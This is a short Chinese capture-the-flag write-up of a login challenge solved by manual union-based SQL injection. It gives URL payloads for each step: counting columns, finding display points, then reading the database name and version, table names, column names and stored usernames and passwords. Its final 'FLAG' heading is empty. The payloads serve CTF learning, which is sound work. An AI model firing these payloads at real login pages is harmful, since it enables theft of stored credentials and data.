0x01 万能密码

首先尝试万能密码

0x02 获得列数

那么开始爆库，已经提示 sqlmap 是没有灵魂的，还是手动注入吧

注意：在 URL 中 #需要替换成 %23，直接在地址栏输入 #无法正常返回结果

构造 payload

?username=1' order by 4%23&password=1

列数为 4

0x03 判断显位点

?username=1' union select 1,2,3%23&password=1

显位点为 2, 3

0x04 获得库名

?username=1' union select 1,database(),version()%23&password=1

数据库名为 geek，版本为 10.3.18-MariaDB

0x05 获得表名

?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1

表名有 geekuser 和 l0ve1ysq1

0x06 获得列名

?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=1

geekuser 内列名有 id,username,password

0x07 获得字段

?username=-1' union select 1,2,group_concat(id, username, password) from geekuser%23&password=1

geekuser 内没有什么有用的数据，看看 l0ve1ysq1

l0ve1ysq1 的列名和 geekuser 相同

?username=-1' union select 1,2,group_concat(id, username, password) from l0ve1ysq1%23&password=1

获得 flag

0x08 FLAG